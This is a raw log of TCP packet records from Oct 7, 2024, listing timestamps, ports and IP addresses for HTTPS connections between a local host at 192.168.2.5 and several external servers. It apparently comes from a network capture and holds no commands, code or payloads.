Oct 7, 2024 21:53:09.616503954 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616564989 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.616571903 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616739988 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616848946 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616848946 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.616899014 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.616995096 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.617002964 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617341995 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617398024 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.617405891 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617502928 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617583036 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.617590904 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617789984 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.617849112 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.617856026 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618408918 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618463039 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.618469954 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618577003 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618619919 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.618627071 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618719101 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.618762970 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.618771076 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.620251894 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.620317936 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.620328903 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.620394945 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.620541096 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.620757103 CEST	49747	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.620769024 CEST	443	49747	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.624000072 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.624075890 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.624260902 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.624291897 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.624305964 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.624315977 CEST	49741	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.624320984 CEST	443	49741	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.629290104 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.629313946 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.629452944 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.630021095 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.630074978 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.630142927 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.630181074 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.630198002 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.630628109 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.630650997 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.630695105 CEST	49744	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.630706072 CEST	443	49744	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.633805990 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.633944035 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.633974075 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.633996010 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.634006977 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.634022951 CEST	49743	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.634032011 CEST	443	49743	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.634047985 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.634339094 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.634346962 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.636471987 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.636490107 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.636562109 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.636814117 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.636825085 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.643868923 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.644009113 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.644074917 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.644140005 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.644140005 CEST	49742	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.644150019 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.644156933 CEST	443	49742	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.646059990 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.646071911 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.646122932 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.646310091 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.646322966 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.653111935 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.653254986 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.653320074 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.653445005 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.653445005 CEST	49745	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.653459072 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.653466940 CEST	443	49745	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.655670881 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.655720949 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.655778885 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.655884027 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:09.655901909 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:09.720951080 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.721366882 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.721381903 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.721837044 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.722440958 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.722524881 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.722641945 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.767406940 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849168062 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849303007 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849351883 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.849380016 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849450111 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849519968 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.849528074 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849558115 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849684954 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849725008 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.849745035 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849822998 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.849877119 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.849885941 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.850054979 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.850166082 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.898797035 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.898816109 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934127092 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934195995 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.934206963 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934315920 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934377909 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.934386969 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934891939 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.934956074 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.934963942 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935116053 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935298920 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935353041 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.935370922 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935481071 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935555935 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935575008 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.935586929 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.935640097 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.936170101 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936239004 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936288118 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.936306953 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936424971 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936502934 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936534882 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.936543941 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936567068 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.936855078 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.936912060 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.936929941 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.964554071 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.964797020 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.964821100 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.965818882 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.965894938 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.966928959 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:09.966999054 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:09.973704100 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.973984003 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.974001884 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.974461079 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.974813938 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.974884987 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:09.974891901 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.974925995 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:09.991359949 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.018754959 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.018935919 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019020081 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019063950 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.019081116 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019119978 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.019129038 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019227028 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019304991 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019328117 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.019336939 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019390106 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.019438028 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019874096 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.019965887 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.019974947 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.020438910 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.020525932 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.020566940 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.020577908 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.020601034 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.020710945 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.020806074 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.020814896 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.021035910 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.021158934 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.021233082 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.021349907 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.021414042 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.021622896 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.021907091 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.022525072 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.022536039 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:10.022559881 CEST	443	49749	172.217.23.100	192.168.2.5
Oct 7, 2024 21:53:10.023139954 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.023149967 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.023495913 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.069442034 CEST	49749	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:53:10.070003986 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.103693008 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.103821993 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.103873014 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.103873014 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.103898048 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.104022980 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.104106903 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.104171038 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.104188919 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.104279041 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.104473114 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.104643106 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.104974031 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105031013 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.105055094 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105086088 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105269909 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.105535030 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105590105 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.105614901 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105633020 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.105690956 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.105690956 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.105703115 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.106178045 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.106239080 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.106266022 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.106302977 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.106559992 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.106620073 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.106937885 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.106992960 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.107032061 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.107079983 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.107100964 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.107186079 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.107305050 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.120410919 CEST	49748	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.120450020 CEST	443	49748	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.130625010 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.137279987 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.137407064 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.137454987 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.138808966 CEST	49751	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.138839006 CEST	443	49751	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.171427011 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.212575912 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.212599039 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.212837934 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.213123083 CEST	49758	443	192.168.2.5	104.21.30.20
Oct 7, 2024 21:53:10.213138103 CEST	443	49758	104.21.30.20	192.168.2.5
Oct 7, 2024 21:53:10.231192112 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.231224060 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.231498957 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.231849909 CEST	49759	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.231863022 CEST	443	49759	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.235348940 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.235358000 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.235445976 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.236604929 CEST	49760	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.236615896 CEST	443	49760	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.260479927 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.261003971 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.261032104 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.261562109 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.261568069 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.269737005 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.270474911 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.271037102 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.271047115 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.271637917 CEST	49753	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.271644115 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.272130013 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.272146940 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.272758007 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.272763014 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.280982018 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.281323910 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.281339884 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.281781912 CEST	49754	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.281785965 CEST	443	49754	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.287353039 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.287655115 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.287672997 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.288012981 CEST	49755	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.288017988 CEST	443	49755	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.324810028 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.324845076 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.325073957 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.325539112 CEST	49761	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:53:10.325553894 CEST	443	49761	104.18.94.41	192.168.2.5
Oct 7, 2024 21:53:10.344624043 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344655991 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344666958 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344679117 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344708920 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344728947 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.344743013 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.344763994 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.344784021 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.345022917 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.345098019 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.345103979 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.345233917 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.345304012 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.355015993 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.355032921 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.355051041 CEST	49750	443	192.168.2.5	172.202.163.200
Oct 7, 2024 21:53:10.355056047 CEST	443	49750	172.202.163.200	192.168.2.5
Oct 7, 2024 21:53:10.360086918 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.360156059 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.360205889 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.360694885 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.360711098 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.360719919 CEST	49752	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.360724926 CEST	443	49752	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.364803076 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.364864111 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.365114927 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.365493059 CEST	49762	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.365520954 CEST	443	49762	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.367580891 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.367660999 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.367717028 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.367773056 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.367784023 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.367791891 CEST	49756	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:10.367795944 CEST	443	49756	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.369143009 CEST	443	49753	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:10.369189978 CEST	443	49753	13.107.246.64	192.168.2.5
